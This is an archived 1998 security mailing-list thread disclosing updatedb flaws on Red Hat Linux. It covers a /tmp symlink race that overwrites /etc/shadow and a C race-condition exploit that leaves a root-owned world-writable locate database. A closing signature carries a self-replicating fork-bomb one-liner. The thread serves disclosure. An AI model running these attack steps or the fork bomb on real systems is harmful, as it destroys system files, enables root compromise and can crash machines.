[ http://www.rootshell.com/ ]

Date:         Sun, 1 Mar 1998 22:44:11 -0500
From:         Cain <cain@TASAM.COM>
Subject:      overwrite any file with updatedb

If this is already known, my apologies. It seemed very strange that this
worked, so I thought it would be mentionable.

On many linux systems(Redhat imparticularly) updatedb is run nightly
around 1:00. When it sorts the files that find gets, it creats a few files
in /tmp called sort0<pid>000{1,2,etc}. Each is around 512k. The
first file is created and filled, then if necassary, another is created
and so on until it has your whole filesystem into a nice database. Well,
once the first file is created you can easily guess what the next filename
will be called as only the last character will change. If you create a
link to say, the shadow password file, updatedb will kindly overwrite it
for you. Ex:

<assuming updatedb is running in the background>
$ ls /tmp
sort012340000 sort012340001

$ ln -s /etc/shadow /tmp/sort012340002
<wait for awhile to give updatedb time to write to our link>

$ ls /tmp
sort012340000 sort012340001 sort012340002 sort012340003

It's done, it will now clear out it's files from /tmp. Now go look at the
shadow password file. It will be quite larger then it was before. About
512k is it's new size. I played with this for awhile but couldn't find
anyway to write anything useful to any file except /etc/shells so you can
ftp into the system no matter what your specified shell is.

------------------------------------------------------------------------

Date:         Mon, 2 Mar 1998 12:22:29 -0800
From:         "Dave G." <dhg@DEC.NET>
Subject:      Re: overwrite any file with updatedb

It is known.  See KSR[T] Advisory #3( http://www.dec.net/ksrt/adv3.html ).

The consequences are more serious than that.  A carefully crafted filename
in a world writable directory that updatedb processes could lead to a root
compromise.  One could overwrite root's .rhosts or .login.

This could easily lead to a root compromise.

Dave G.


David Goldsmith                                            dhg@dec.net
DEC Consulting                                      http://www.dec.net
Software Development/Internet Security         http://www.dec.net/~dhg

------------------------------------------------------------------------

Date:         Fri, 6 Mar 1998 20:44:47 +0100
From:         Michal Zalewski <lcamtuf@BOSS.STASZIC.WAW.PL>
Subject:      "patched" updatedb with RH 5.0 - root compromise

As an addendum to updatedb/sort bug - there's another vunerability
in this program. On my RH 5.0 it's launched every day from crontab's
script as nobody. Unfortunately, that setuid trick doesn't fix
anything. /etc/cron.daily/updatedb.cron (as root) creates temporary
file in /tmp using mktemp:

TMPFILE=`/bin/mktemp /tmp/locatedb.XXXXXX`
chown nobody.nobody $TMPFILE

That's mostly harmless. But after all, /usr/bin/updatedb is launched
via su -c. Hopefully, it will create /tmp/locatedb.XXXXXX.n file, but
there's no any error checking... Script simply moves that output file
(without checking permission nor ownership) to /var/lib/locatedb:

if [ -f $TMPFILE.n ] ; then
SFILE=$TMPFILE.n
[...]
mv $SFILE /var/lib/locatedb [...]
chown root.root /var/lib/locatedb [...]

Because this script is running as root (!) and it's extremally
unsafe, you may perform simple tricky race condition. Here's simple
so-called "exploit":

--
#include <dirent.h>
#define STR "locatedb"
char buf[1024];
int infect(struct dirent *s) {
  if ((strncmp(STR,s->d_name,strlen(STR))!=0)) return -1;
  sprintf(buf,"touch %s.n",s->d_name);
  system(buf);
  exit(0);
  return -1;
}
int foo(struct dirent **a,struct dirent **b) {}
int main(int argc, char* argv[])
{
  struct dirent **x;
  chdir("/tmp");
  umask(0);
  while (1) scandir("/tmp",&x,infect,foo);
}
--

Simple as only it can be. Our file (in this case empty one
has been moved to /var/lib/locatedb... Hey, but permissions
were NOT changed (666). So not we have an world-writable,
root-owned file. Nice. But that's not all. Try filling it
with junk (eg. a lot of 0s), then run 'locate' utility...
It will cause segmentation fault. It's probably exploitable,
and root/other users privledges may be compromised. Hopefully.

Fix:

There's no simple fix. Bug is in updatedb itself (and it's
file creation method). Updatedb "protected" by very foolish
script... You may try changing /tmp to something more
private inside the script, but it's only a workaround.

_______________________________________________________________________
Michał Zalewski [tel 9690] | finger 4 PGP [lcamtuf@boss.staszic.waw.pl]
Iterować jest rzeczą ludzką, wykonywać rekursywnie - boską [P. Deustch]
=--------------- [ echo "\$0&\$0">_;chmod +x _;./_ ] -----------------=